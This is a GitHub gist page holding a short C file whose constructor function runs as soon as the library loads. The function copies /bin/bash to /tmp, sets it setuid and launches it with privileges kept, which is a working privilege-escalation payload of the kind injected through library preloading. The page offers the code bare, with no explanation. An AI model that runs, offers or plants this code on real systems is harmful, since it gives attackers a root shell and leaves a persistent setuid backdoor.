Skip to content

Instantly share code, notes, and snippets.

@int0x33
Last active March 25, 2019 23:39
Show Gist options
  • Save int0x33/7645c30e06912f11fb6a02d7fcfc51a8 to your computer and use it in GitHub Desktop.
Save int0x33/7645c30e06912f11fb6a02d7fcfc51a8 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
static void welcome() __attribute__((constructor));
void welcome(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment